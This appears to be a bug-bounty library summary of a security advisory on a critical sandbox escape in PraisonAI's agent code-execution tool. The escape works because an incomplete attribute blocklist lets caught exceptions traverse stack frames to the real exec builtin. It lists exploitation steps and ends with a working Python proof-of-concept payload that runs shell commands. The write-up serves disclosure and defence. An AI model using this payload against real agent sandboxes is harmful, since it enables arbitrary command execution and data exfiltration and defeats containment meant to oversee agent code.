# PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)

PraisonAI's subprocess sandbox used an 11-entry attribute blocklist missing frame-traversal attrs, letting caught exceptions reach real builtins and exec arbitrary shell commands.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: dorjoos
- Disclosed: 2026-04-08
- CVE: CVE-2026-39888
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qf73-2hrx-xprp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-qf73-2hrx-xprp
- Tags: area:ai domain:ai impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:rce vuln:sandbox-escape

**Target:** praisonaiagents.tools.python_tools execute_code subprocess sandbox
**Root cause:** The subprocess wrapper's inline blocked_attrs list (11 entries) omits __traceback__, tb_frame, f_back and f_builtins present in the direct-mode list, and _safe_getattr only intercepts getattr() calls, not dot-notation attribute access.
**Steps:**
1. Set `PRAISONAI_AUTO_APPROVE=true` and import `execute_code` from `praisonaiagents.tools.python_tools`.
2. Submit code that raises and catches `ZeroDivisionError`, then walks `e.__traceback__.tb_frame.f_back`.
3. Read `_p.f_builtins["exec"]` into a non-blocked variable `_x`.
4. Call `_x("import subprocess; print(subprocess.check_output('id', shell=True).decode())", {"__builtins__": _p.f_builtins})` to execute shell commands.
**How found:** Compared the two blocked_attrs sets and noticed the subprocess wrapper's inline list was a strict subset missing all frame-traversal attributes; also observed _safe_getattr only hooks getattr() so dot notation bypasses it.
**Exploitation:** A single execute_code call with the frame-traversal payload runs arbitrary shell commands in the subprocess user context, yielding file read/write, env var exfiltration and network access.
**Escalation:** Frame traversal reaches the real builtins dict inside the subprocess, bypassing AST blocklist, _safe_getattr and exec-by-name checks simultaneously.
**Insight:** When a codebase has two parallel blocklists for the same protection, diff them — the weaker copy is the attack surface. Also, attribute-name blocklists are useless against dot notation unless enforced at the AST level for every ast.Attribute node.

## Proof of concept (copied exactly from the original report)

**Python payload escaping sandbox via exception frame traversal**

```
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""
```

